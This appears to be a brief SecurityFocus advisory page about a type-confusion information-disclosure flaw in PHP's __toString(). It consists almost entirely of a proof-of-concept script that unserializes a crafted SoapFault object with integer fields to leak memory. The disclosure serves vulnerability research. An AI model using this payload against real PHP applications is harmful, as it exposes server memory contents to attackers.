PHP '__toString()' Function Type Confusion Information Disclosure Vulnerability

The following proof-of-concept is available:

<?php
$data =
'O:9:"SoapFault":4:{s:9:"faultcode";i:4298448493;s:11:"faultstring";i:4298448543;s:7:"'."\0*\0".'file";i:4298447319;s:7:"'."\0*\0".'line";s:4:"ryat";}';
echo unserialize($data);
?>


 

Privacy Statement
Copyright 2010, SecurityFocus